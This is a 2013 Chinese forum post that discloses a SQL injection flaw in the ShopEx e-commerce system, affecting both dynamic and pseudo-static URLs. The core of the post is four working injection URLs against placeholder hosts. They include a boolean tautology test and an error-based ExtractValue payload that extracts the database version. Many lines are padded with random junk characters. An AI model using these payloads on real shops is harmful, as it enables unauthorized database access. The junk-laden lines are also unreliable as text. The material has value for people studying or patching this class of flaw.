注入漏洞是一种经典的漏洞类型了，自从上次跟基友深聊了注入，我对注入的认识又提升了一个高度，在我看来不可以注入的地方，TMD的竟然可以注入，注入攻击最早出现了1998年，貌似是，记不清了。10多年了，依然存在，虽然比以前出现量少了，但不得不用到的一种攻击技术… & [" M- w4 L Q9 t) z
- L1 ?, R. y; L( g( k
好吧，我扯远了~~& ?5 B" {0 ]: k6 a8 h" y2 w3 n
其实注入不仅仅出现在动态页面上，难道伪静态后就不能注入了吗？NO~0 B, C# N2 F2 s3 C
不扯了，直接说主题吧，shopex网店系统注入漏洞。注入点如下：
8 T2 K9 e. O0 z8 b! |+ C p
; g2 `9 u2 v# L2 l# z4 M) v7 mhttp://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html
1 ~1 S/ @) c9 y8 w" e3 `( z i2 s: Y! N/ f+ g, h
http://www.x.com/comment-8967′/**/and/**/ExtractValue(0×64,concat(0×01,(select/**/@@version)))/**/order/**/by/**/’1-ask-commentlist.html
& z8 @; G, G) o3 d# S& N) o9 S" E5 q& C: i* b1 E0 ?' t1 |5 d
http://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html . m; u0 \2 _* a1 R1 c+ V
9 b2 e0 e2 _! V0 N1 o3 l" M5 }http://demo.x.com.cn/485/index.php?comment-190′/**/and/**/’1′=’1-ask-commentlist.html # C R: M6 g1 l, u
9 p( W3 W, l4 l2 B( w6 L& E) B& s
$ z6 [& d y. E! M! u一个是网站未开启伪静态的注入，一个是网站开启伪静态后的注入，以及是否屏蔽错误回显的2X2=4种情况。# g. `+ v6 y$ O# x
如何注入就不多说了，10多年的东西了…不会也会了… & V4 N$ [7 V( b- g8 M
5 m! L f1 y! @' U8 b/ G" e: i( _2 j; x+ q* ^
a" _% C! Z6 L' U6 @6 C. g; T$ K. K# Q5 O2 }. _: X2 N
|
发表于 2013-2-19 08:31:27
收藏
支持
反对